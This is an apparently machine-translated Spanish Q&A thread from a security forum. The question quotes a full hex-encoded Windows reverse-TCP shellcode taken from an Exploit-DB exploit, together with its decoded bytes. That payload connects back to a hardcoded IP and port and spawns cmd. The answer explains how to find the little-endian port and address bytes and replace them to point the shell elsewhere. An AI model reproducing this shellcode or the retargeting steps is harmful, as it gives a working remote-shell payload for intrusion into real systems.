¿Cómo decodificar el código hexadecimal y modificarlo? Binascii.unhexlify [cerrado]

0

Estoy revisando el código alojado en edb y la parte que estoy tratando de darle sentido y modificar está en la línea 78

reversetcp_shellcode = binascii.unhexlify(b'fc4883e4f0e8c0000000415141505251564831d265488b5260488b5218488b5220488b7250480fb74a4a4d31c94831c0ac3c617c022c2041c1c90d4101c1e2ed524151488b52208b423c4801d08b80880000004885c074674801d0508b4818448b40204901d0e35648ffc9418b34884801d64d31c94831c0ac41c1c90d4101c138e075f14c034c24084539d175d858448b40244901d066418b0c48448b401c4901d0418b04884801d0415841585e595a41584159415a4883ec204152ffe05841595a488b12e957ffffff5d49be7773325f3332000041564989e64881eca00100004989e549bc02000539c0a87d8541544989e44c89f141ba4c772607ffd54c89ea68010100005941ba29806b00ffd550504d31c94d31c048ffc04889c248ffc04889c141baea0fdfe0ffd54889c76a1041584c89e24889f941ba99a57461ffd54881c44002000049b8636d640000000000415041504889e25757574d31c06a0d594150e2fc66c74424540101488d442418c600684889e6565041504150415049ffc0415049ffc84d89c14c89c141ba79cc3f86ffd54831d248ffca8b0e41ba08871d60ffd5bbf0b5a25641baa695bd9dffd54883c4283c067c0a80fbe07505bb4713726f6a00594189daffd5')

Importé binascii en python e intenté aplicar ingeniería inversa al código y el resultado fue:

'\xfcH\x83\xe4\xf0\xe8\xc0\x00\x00\x00AQAPRQVH1\xd2eH\x8bR'H\x8bR\x18H\x8bR H\x8brPH\x0f\xb7JJM1\xc9H1\xc0\xac<a|\x02, A\xc1\xc9\rA\x01\xc1\xe2\xedRAQH\x8bR \x8bB<H\x01\xd0\x8b\x80\x88\x00\x00\x00H\x85\xc0tgH\x01\xd0P\x8bH\x18D\x8b@ I\x01\xd0\xe3VH\xff\xc9A\x8b4\x88H\x01\xd6M1\xc9H1\xc0\xacA\xc1\xc9\rA\x01\xc18\xe0u\xf1L\x03L$\x08E9\xd1u\xd8XD\x8b@$I\x01\xd0fA\x8b\x0cHD\x8b@\x1cI\x01\xd0A\x8b\x04\x88H\x01\xd0AXAX^YZAXAYAZH\x83\xec AR\xff\xe0XAYZH\x8b\x12\xe9W\xff\xff\xff]I\xbews2_32\x00\x00AVI\x89\xe6H\x81\xec\xa0\x01\x00\x00I\x89\xe5I\xbc\x02\x00\x059\xc0\xa8}\x85ATI\x89\xe4L\x89\xf1A\xbaLw&\x07\xff\xd5L\x89\xeah\x01\x01\x00\x00YA\xba)\x80k\x00\xff\xd5PPM1\xc9M1\xc0H\xff\xc0H\x89\xc2H\xff\xc0H\x89\xc1A\xba\xea\x0f\xdf\xe0\xff\xd5H\x89\xc7j\x10AXL\x89\xe2H\x89\xf9A\xba\x99\xa5ta\xff\xd5H\x81\xc4@\x02\x00\x00I\xb8cmd\x00\x00\x00\x00\x00APAPH\x89\xe2WWWM1\xc0j\rYAP\xe2\xfcf\xc7D$T\x01\x01H\x8dD$\x18\xc6\x00hH\x89\xe6VPAPAPAPI\xff\xc0API\xff\xc8M\x89\xc1L\x89\xc1A\xbay\xcc?\x86\xff\xd5H1\xd2H\xff\xca\x8b\x0eA\xba\x08\x87\x1d'\xff\xd5\xbb\xf0\xb5\xa2VA\xba\xa6\x95\xbd\x9d\xff\xd5H\x83\xc4(<\x06|\n\x80\xfb\xe0u\x05\xbbG\x13roj\x00YA\x89\xda\xff\xd5'

Hay personajes alienígenas arriba. ¿Todavía se considera hexágono? Y, si quisiera usar direcciones IP y PORT diferentes, ¿cómo haría la conversión necesaria?

    
pregunta K4rt 17.05.2017 - 20:35
fuente

1 respuesta

0

La razón por la que está viendo caracteres extraños es que muestra caracteres hexadecimales cuando tiene que hacerlo ('\ xfc', por ejemplo), y ASCII cuando es asignable (por lo que la 'H' que sigue inmediatamente está en lugar de '\ x48 '). Así que no es hexadecimal puro, es una cadena ASCII con caracteres no ASCII codificados en hexadecimal.

¿La dirección IP y el puerto están codificados allí? Probablemente puedas encontrarlos en la cadena hexadecimal original, antes de intentar decodificarlos, y cambiarlos.

Solo recuerda que probablemente están codificados como little endian. Normalmente cuando escribo shellcode, uso un puerto donde el endianness no importa, como 0x1313 o 0x6666. ¡Pero eso es sólo la pereza! Si desea buscar y reemplazar su número de puerto, si es por ejemplo 4444 (0x115c), probablemente querrá buscar '5c11' (little endian) y reemplazarlo con el puerto que desee (como 0x6666 o lo que sea).

    
respondido por el Ron Bowes 17.05.2017 - 23:44
fuente

Lea otras preguntas en las etiquetas